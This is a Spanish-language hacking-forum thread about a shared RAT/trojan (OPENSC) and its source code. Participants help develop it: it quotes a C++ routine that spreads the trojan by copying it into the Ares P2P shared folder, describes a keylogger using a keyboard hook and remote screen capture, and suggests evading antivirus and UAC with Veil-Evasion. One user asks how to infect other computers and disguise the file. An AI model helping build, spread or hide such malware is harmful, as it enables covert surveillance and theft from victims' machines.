Underc0de

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Muy buen trabajo, un saludo.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
PASS : xxneeco83xx

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
PASS : xxneeco83xx

¿Seguro? Quería echarle un vistazo al código fuente pero tengo problemas para descomprimirlo con xxneeco83xx, XXNEECO83XX, xxNEECO83xx, XXneeco83XX, a pedírselo por favor, a escupir a la pantalla... Y nada, sigo sin acertar.
¿Le habrás puesto tu "contraseña habitual" inconscientemente al volver a comprimirlo? A menudo yo meto la pata y cifro con una contraseña distinta a la que quería poner, por eso de tener tantas contraseñas en la cabeza.
¿O es que algo no va bien en mi equipo?  :o
Si alguien pudiera confirmarme que se descomprime correctamente lo agradecería mucho. Igual que el código fuente, que es digno de agradecer.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
uuff ! si disculpen. inconcientemente le habre puesto otra contraseña, pero bueno, Ya resubi una nueva version que saque ayer por la noche, jaja con otras corregidas.
y la pass si va a ser correcta.  :D

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
uuff ! si disculpen. inconcientemente le habre puesto otra contraseña, pero bueno, Ya resubi una nueva version que saque ayer por la noche, jaja con otras corregidas.
y la pass si va a ser correcta.  :D

Gracias, bro. Echándole un vistazo por encima ya vi que lo tienes muy bien ordenado y comentado. Eso se agradece muchísimo.
En cuanto tenga un ratito me paro con calma con él.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Hola! soy nuevo en el foro, conocí este foro por medio de la aplicación talkpak.. me encanta todo lo que tiene que ver con troyanos, malware los ejecuto en un ambiente controlado.. al ejecutar el troyano me sale el siguiente error...

Component 'LabelDegradado.ocx' or one pf its dependencies not correctly registered: a file is missing or invalid

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Por lo que estuve viendo, ¿no debería saltar el UAC de Windows al ejecutarlo?
(https://upload.wikimedia.org/wikipedia/en/thumb/5/51/Windows_7_UAC.png/310px-Windows_7_UAC.png)

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Por lo que estuve viendo, ¿no debería saltar el UAC de Windows al ejecutarlo?
(https://upload.wikimedia.org/wikipedia/en/thumb/5/51/Windows_7_UAC.png/310px-Windows_7_UAC.png)

Eso es normal ya que esta pidiendo permisos de administrador, y casi cualquier software para Windows pide permisos.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Eso es cierto, además de que es muy sospechoso. Yo cuando te respondí no pensaba que fuese el Server.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo.  ::)

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo.  ::)

Todavía sigo leyéndolo a ratitos y me gusta cómo lo fuiste identificando todo.
Tengo una duda, que creo que es una errata.
OPENSC\Servidor\source\functions.h - Líneas de 498 a 574 (Función Spread_Ares)

Código (cpp) [Seleccionar] Expandir

bool __stdcall Spread_Ares ( VOID )
{

HKEY key;
BOOL Install = FALSE;

DWORD cbSize = 256;

LPSTR Path, New, AppName;

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );

if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{
Install = TRUE;

RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );

RegCloseKey ( key );
}
else
{

GlobalFree ( AppName );
GlobalFree ( Path );

RegCloseKey ( key );

return FALSE;
}

if ( Install = FALSE )
{

GlobalFree ( AppName );
GlobalFree ( Path );

return FALSE;

}

GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

if( PathFileExistsA ( Path ) )
{

for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{

New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );

lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );

CopyFileA ( AppName, New, FALSE );

GlobalFree ( New );
}

GlobalFree ( AppName );
GlobalFree ( Path );

return TRUE;

}
else
{
GlobalFree ( Path );
}

GlobalFree ( Path );
GlobalFree ( AppName );

return FALSE;
}
Primero creamos la variable Booleana Install poniéndolo en FALSE, y si el resultado de RegOpenKeyExA es ERROR_SUCCESS ponemos Install a True. Si no, la función devuelve FALSE. Pero además, luego, si Install está en FALSE se vuelve a repetir.

Código (cpp) [Seleccionar] Expandir

BOOL Install = FALSE;
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{...}
else
{ GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;}

if ( Install = FALSE )
{ GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE; }

¿Ésto es por algo o es una errata?

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.

Bueno, hacemos las cosas más complicadas, pero sabemos que hay métodos para evadir AV's y UAC con Veil-Evasion (https://github.com/Veil-Framework/Veil-Evasion/). Sería cuestión de implementarlo en "el bicho".
Es algo fácil de decir y difícil de implementar, pero ¿tenemos algo mejor que hacer?

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No claro, algo implementare.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU)

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
No claro, algo implementare.

Me encanta. A ver qué sale. Pero tienes razón, todo a su tiempo.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU)

Quizá sea culpa del keylogger offline. Es un buen momento para estudiar el funcionamiento offline del bicho con un depurador como immunity debugger (https://www.immunityinc.com/products/debugger/). Estoy intentando compilar el código fuente pero estoy teniendo algún que otro problema. ¿Utilizaste algún IDE? ¿Qué compilador estás utilizando? Lo intento desde Code::Blocks con mingw32-gcc-g++ 4.8.1-4.

**EDIT**: Estoy jugando con la versión que has compilado tú y hay algunas cosas que no me gustan, comenzando por la transparencia en las ventanas. Habrá a quien le guste, pero me parece que sólo añade peso al programa sin cumplir ninguna función interesante. Además, dependiendo de la resolución de la pantalla al iniciar el programa, podemos quedarnos con una ventana sin botones que no podemos re-dimensionar. Adjunto imagen.
(http://anonpix.com/images/2015/08/01/HpEFD.png)
Pero bueno, son observaciones mías. Me gustan las cosas con interfaz cutre y funcionamiento óptimo. Los efectos visuales son mero maquillaje. (Aunque no todos piensan como yo)

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Gracias por la opinion!

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.

Siempre había visto hacer directamente el hook al teclado para capturar las pulsaciones, por eso tu sistema me confundía un poco.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Gracias por la opinion!

Te veo con este proyecto bien llevado, y más que dar mi opinión el objetivo siempre será compartir ideas. Como una noticia que leí hoy en el blog de Chema Alonso en el que comentaban cómo controlar un troyano enviándole comandos a través de un SSID cercano (http://www.elladodelmal.com/2015/07/como-controlar-un-troyano-en-un-equipo.html). Me pareció interesantísimo para este troyano (Para éste y para muchas cosas).

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.

Ok, me gusta. ¿Lo subirás actualizado?

** EDIT **
He enviado un email al autor de la entrada del blog preguntándole si le gustaría compartir el código con nosotros. Crucemos los dedos.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Pregunta disculpe me ignorancia.
COmo lo propago a otro ordenador , puedo infectarlo nada mas ejecutando el archivo!, o tambien lo puedo camuflar con PDF, o extensiones rar, ,exe

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Añádale funciones diferentes que no tengan los demás RATS eso lo haría especial

Recomendación

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código!

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
ahora que ya todo es estable y funciona relativamente bien

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código!

Pues el bueno de Christian me dijo que en cuanto termine de escribir un paper de seguridad relacionado con el tema publicará todo junto: El código de su troyano y las observaciones que hizo durante el proceso. De lo más interesante.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
ahora que ya todo es estable y funciona relativamente bien

Pues ahora sí que toca leer el código con calma. Enorme trabajo, xxneeco83xx, gracias por compartirlo con todos.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Hola oye al momento de abrir el programa me sale este mensaje  (http://www.subeimagenes.com/thumb/qa-1396963.png) (http://www.subeimagenes.com/img/qa-1396963.html)
Que puedo hacer para solucionarlo

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Hola oye al momento de abrir el programa me sale este mensaje  (http://www.subeimagenes.com/thumb/qa-1396963.png) (http://www.subeimagenes.com/img/qa-1396963.html)
Que puedo hacer para solucionarlo

mm que raro, no habia visto nunca ese error, ni estoy informado acerca de que lo pueda producir porque lo eh testeado en diferentes ordenadores con diferentes SO
y ha funcionado, Has probado registrar los componentes de la carpeta Registrar ? e intentar abrir el cliente como administrador ?  :-\

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Hola oye al momento de abrir el programa me sale este mensaje  (http://www.subeimagenes.com/thumb/qa-1396963.png) (http://www.subeimagenes.com/img/qa-1396963.html)
Que puedo hacer para solucionarlo

mm que raro, no habia visto nunca ese error, ni estoy informado acerca de que lo pueda producir porque lo eh testeado en diferentes ordenadores con diferentes SO
y ha funcionado, Has probado registrar los componentes de la carpeta Registrar ? e intentar abrir el cliente como administrador ?  :-\

Ya probe con eso y mesigue saliendolo mismo :s

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
XXNEECO83XX

Si que te sarpaste con el código, es demaciado y esta muy bien comentado.

Una sugerencia, para el screen capture, estaria bueno dividir la pantalla en secciones de captura (9 preferiblemente), en vez de sacar una captura completa de la pantalla y enviarla, enviar pedasos que hayan sido modificados (donde el usuario haya hecho alguna acción).

Esto podria evitar que se envien datos de tamaño excesivo y aumentaria la velocidad de envio - recepción.

Otra cosa, si podes implementar un sistema de plugins estaria muy muy muy bueno, preferiblemente en conversión de llamadas STDCALL, tengo ganas de aportar, pero no se C++.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
En functions.h:340 convertimos la imagen a JPG, pudiendo cambiarlo a PNG. Creo que PNG sería más ligero y fácil de enviar, por lo que sería una mejor opción por defecto. ¿O preferiste JPG por alguna razón en especial?

Código (cpp) [Seleccionar] Expandir

void BitmapToJpg ( HBITMAP hbmpImage, LPSTR filename )
{
wchar_t JPG [ MAX_PATH ];

swprintf( JPG, L"%hs", filename );

Bitmap *p_bmp = Bitmap::FromHBITMAP ( hbmpImage, NULL);
   
    //Obtenemos el encoder de JPG, tambien puede modificarse por el de PNG 'image/png'
CLSID pngClsid;
int result = GetEncoderClsid ( L"image/jpeg", &pngClsid );

if ( result == -1 )
    {
    delete p_bmp;
    return;
    }
   
p_bmp -> Save ( JPG, &pngClsid, NULL);
delete p_bmp;
}
Oye, está quedando genial.

CitarGracias por tu ayuda, si es buena idea, pero porque dices que el trafico es lento si cada imagen aproximadamente pesa entre 30/40kb como maximo ? que va no me parecio lento porque una conexion como lenta hoy en dia no baja los 3 MB'S por segundo.
Un sistema de plugins ? te refieres a poder agregarle plugins externos programados ? no logro interpretar bien la idea esa de los plugins.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

CitarGracias por tu ayuda, si es buena idea, pero porque dices que el trafico es lento si cada imagen aproximadamente pesa entre 30/40kb como maximo ? que va no me parecio lento porque una conexion como lenta hoy en dia no baja los 3 MB'S por segundo.
Un sistema de plugins ? te refieres a poder agregarle plugins externos programados ? no logro interpretar bien la idea esa de los plugins.

El envio de imagenes podria ser mas eficiente, mientras menos datos innecesarios se envien, mejor.

Con el sistema de plugins me refiero a poder agregarle funciones nuevas a tus softwares mediante bibliotecas externas (de terceros).
Vease: Wikipedia. (https://es.wikipedia.org/wiki/Complemento_(inform%C3%A1tica))